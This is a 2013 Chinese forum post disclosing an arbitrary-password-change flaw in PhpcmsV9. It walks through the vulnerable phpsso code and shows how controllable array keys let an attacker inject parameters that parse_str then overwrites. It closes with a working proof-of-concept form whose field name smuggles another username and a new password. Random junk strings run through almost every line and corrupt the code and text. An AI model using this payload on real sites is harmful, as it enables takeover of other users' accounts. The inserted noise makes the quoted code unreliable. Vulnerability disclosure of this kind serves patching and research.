找回密码
 立即注册
查看: 2926|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
提到的通行证的代码:( r. c3 ^* V) _5 k. C

+ l4 M4 Z' w6 s
8 {$ r: b) L/ N$ s8 c' P/ z! ^parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
8 h# m1 S7 T( Q; l, [; Y2 f! K, E+ U& _& M
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。5 U/ B9 Y0 C9 W8 h: r$ t; r  o* C
, `6 t$ S) _' j  n- L4 X. L, q, J
我把它留给了你们。! {& `- L1 [7 t, m& g  s% N
不知道你们发现了它没有。
: f5 x, s7 Y& J3 U3 j1 t8 Y
( m* `3 c) N3 C我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。, Z4 u  ^: P+ C8 E" b, g
# i( f. [" J/ z, w! a
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。5 F/ _/ m0 N! i" Z: X

$ S, {$ ~& s/ y2 {也就是$ {! r0 P) r) E9 F2 E4 h" L$ d
! h# [# T8 c+ J4 a  u* V
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
+ [  f9 y" q( v) B% [% f  b
4 l$ H" |$ t- Y( p4 q, k, Q2 k要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。6 j: M5 P% ]) e0 J! [+ @3 [9 c
/ F1 V' X; L/ u* ^/ U" [# h

2 i. H) {4 g6 M7 g- b4 S. G其实我们有这样的机会,看看代码,如下:$ U, Z- s. ]/ m8 S$ v

9 y: D+ G/ k- _6 T) Z
0 A. g! n. B/ x" Q' G" s  apublic function auth_data($data) {
- ^+ E4 j( l; u0 ?$ h& c6 {8 s                $s = $sep = '';
% p6 W' }9 T* V7 a                foreach($data as $k => $v) {
9 ~$ G" ?( E9 `1 @! i                        if(is_array($v)) {) G  ^8 o. J( O) M! d
                                $s2 = $sep2 = '';
, j' q, y' c6 d                                foreach($v as $k2 => $v2) {& P8 k1 {- C4 y5 e& ]
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
: e: I4 \, u! g4 L3 G3 O' \                                        $sep2 = '&';
3 |$ u+ Y1 h% T4 r5 Y+ B                                }
! m. r9 `- x1 [; Q                                $s .= $sep.$s2;* i6 k# [. j$ i0 j
                        } else {' }, Y: m- u; f7 H; K( c
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);1 e( D" v/ K" ^# c  M
                        }
! R4 p& a) d4 r3 C" n                        $sep = '&';/ _* m& B6 g4 s' y4 l: d. g3 H
                }
1 t5 m; O& l5 \9 o9 `# `8 \1 P# s
4 K) N  G( _" v2 N: p' i                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
% V8 Y4 p( S. a. H5 x5 W+ t' u  P2 _0 [                return $auth_s;' L7 q- B2 i4 [8 T6 d8 l! m
        }
. }2 z3 ~" d; v; d* C% {4 @7 V4 V/ O1 Z8 P
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
+ C6 O2 E; F0 W6 b8 W# Y9 F9 o- Q0 E# r
举个例子
; U% |" g1 _* c( D" B& e4 R- D  X2 i  K4 C, @9 S! l5 l/ k
$a[aaa=a&bbb] = 'a';9 H/ o. P2 W8 d5 M* w2 w

- W+ b5 u# H) r会变成aaa=a&bbb=a1 d; s! D$ O# O' U2 a
* w! L- a$ J% ~' z; R8 M+ s! H
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
, }- n* R$ n1 X, T7 q* c+ q+ s, d1 h3 w
这个时候,我们可以再去看一个函数。  [/ j  [4 k8 [1 E. |
" C5 i: E: d  _  _
就在这个文件内:
' K/ @* f# ^( N, l! G4 b4 f7 ~8 @! B) z
; h4 n( U( a: S7 I, t& ^, t* Q
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {' ]8 u) q, L* T$ x7 p0 _3 v0 `- ]
                if($email && !$this->_is_email($email)) {
0 D% q4 e; g! b4 O1 P                        return -4;
+ {* z5 d; `$ k                }  g: a2 ?4 T. x% n: w/ Q8 ~
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));7 L% Q2 O$ z: W& D- q4 p
        }
& q  i1 M/ C6 A+ R+ K
" |6 }0 h, L" X5 _, O4 f3 f这是向通行证发了这样一个请求。. b# o" p0 c& Y

# ]" u, N0 H& a, P9 j  Q: F我们再跟到通信证代码里去看看,就会有所发现。+ g7 i, r( w2 j" H; C
- j6 l# q) Y2 ]4 u; _8 g

# U8 F* j4 u) L8 b1 l& Mpublic function edit() {
+ B) b! f- `, [+ C% `/ X9 D3 \3 s//能省就省,太长了不是吗?: {7 q0 [( E2 c0 U* _6 Y
3 N9 W" [4 L+ q0 y7 j
if($this->username) {
( c; A7 G) w% S: h+ ~//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。8 a3 s) q( U# t$ [' O; \3 ~
                                $res = $this->db->update($data, array('username'=>$this->username));5 s, `7 T  P& {) P4 a
                        } else {
& ^2 J  p0 B- Y$ p                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
$ q# |' y( Y" ^* u                                $res = $this->db->update($data, array('uid'=>$this->uid));
9 `; P6 F$ Q; q& s                        }/ }* c% K1 g" ~1 i2 Z6 }' |
9 ^. l- @( B  u3 O6 u
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
4 C: C: r0 r! {9 J  x! T" t* l2 h- D% o% A: `# D. A
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
9 G" q, b9 O" I* ^
; i& t7 I0 p( g+ r很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。8 u. V% e+ \2 \

6 v; ^7 A( C* d: K3 o; G" a+ m3 ]) A+ n我当然找到了:
: I0 J# z$ K4 jphpcms9/phpcms/modules/member/index.php1 V9 ]0 n1 C3 t( l( [
' `2 q3 Q+ X$ h; ~; @
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
0 \) o" B" p( N3 ^8 G& a# j6 @/ V; ^) J3 ?
然后就没有然后了。# z) X8 F3 w5 V
1 D0 G. E, Q9 h; d- {
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
% o4 c7 v) E* P' T# _                                <table width="100%" cellspacing="0" class="table_form">" U. {9 o2 ?% {" e0 n9 R
                                        <tr>
  r7 d+ A/ [5 @2 L* T                                                <th width="80">邮箱:</th>        
; T0 y5 J( k! B+ d( ~$ n6 m+ [                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>$ l+ }" N) D' A! D/ q
                                        </tr>1 J9 J5 p. z/ D5 q6 S
                                        <tr>  F# H( d% v$ R! D! U) B
                                                <th width="80">原密码:</th>        ! K" r) q/ R5 Z
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
4 G8 S+ r; K6 r3 c                                        </tr>1 K1 L4 b) l1 _+ H- [% @/ D! H0 A' F
                                        <tr>" r8 I) {7 L* R$ t6 j1 J& d% @
                                                <th>新密码:</th>+ i) w( X" t. Z; N: u
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
6 p/ T$ u% P+ g% I                                        </tr>
8 a: C# G- z: J" x" ~                                        <th></th>
" Y, A5 ^) V" H; |' r                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>4 ~9 H: \6 }3 E% Z
                                        </tr>
+ `: n, Z) w" g" H/ l' {) n; G1 |8 J                                </table>
8 b; u( F2 g" j- n" d8 c
2 A1 a' `' i5 K* {                                + ?4 c/ x$ |* X2 L' |
                        </form>
$ u& q9 m+ U6 `0 e6 I  c$ w( F
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表